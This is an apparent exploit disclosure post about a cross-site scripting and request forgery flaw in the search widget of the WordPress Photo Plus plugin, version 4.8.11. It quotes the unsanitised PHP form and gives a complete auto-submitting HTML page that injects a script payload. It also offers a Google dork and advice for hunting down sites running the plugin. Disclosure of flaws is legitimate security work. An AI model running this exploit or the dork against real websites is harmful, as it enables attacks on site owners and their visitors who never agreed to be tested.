Word Press Photo Plus Photo Search XSS/CSRF Vulnerability

The WordPress Photo Plus plugin suffers from a XSS/CSRF  Vulnerability.

# Exploit Title: Word Press Photo Plus, Photo Search XSS/CSRF Vulnerability
# Google Dork: inurl:plugins +inurl:wp-photo-album-plus +intext:"Photo Search"
# Date: 29/12/12
# Exploit Author: k3170makan
# Vendor Homepage: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Software Link: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Version: 4.8.11
# Tested on: Ubuntu 10.04

Word Press Photo Plus plugin suffers from a XSS/CSRF via Vulnerability in the "Search Photos" function

The Code

extract from wp-photo-album-plus.php, in widget function
 42  <form id="wppa_searchform" action="<?php echo($pagelink) ?>" method="post" class="widget_search">
 43             <div>
 44                <?php echo $instance['label'] ?>
 45                <input type="text" name="wppa-searchstring" id="wppa_s" value="<?php echo $wppa[    'searchstring'] ?>" />
 46                <input id = "wppa_searchsubmit" type="submit" value="<?php _e('Search', 'wppa');     ?>" />
 47             </div>
The above code fails to sanitize the $wppa['searchstring'] variable, allowing attacks to inject harmfull HTML elements and JavaScript code. Submissions to this form can also be made from any domain, which actually aids in the exploitation of the vulnerability thus this is classified as a CSRF Vulnerability

Exploit Code:
The exploit requires an attacker to forge a post request to this form, this can be done by using the following html page

  1 <html>
  2 <body onload="xss()">
  3 <form name="f" id="wppa_searchform" action="http://[domain name]/[photo search page path]" method="post" class="widget_search">
  4 <input type="text" name="wppa-searchstring" id="wppa_s" value='"><script>alert(1);</script><textarea>'>
  5 <input name="s" id="wppa_searchsubmit" type="submit" value="Search">
  6 </form>
  7 <script>
  8 function xss(){
  9    document.f.s.click();
 10 }
 11 </script>
 12 <body>
 13 <html>

[photo search page path] can be obtained by reading the path set in the original photo search form attributes

The dork I gave doesn't have such a wonderful hit rate, but with a little manual inspection you should find quite a couple sites hosting the vulnerable plugin

Popular posts from this blog

The Science of Google Dorking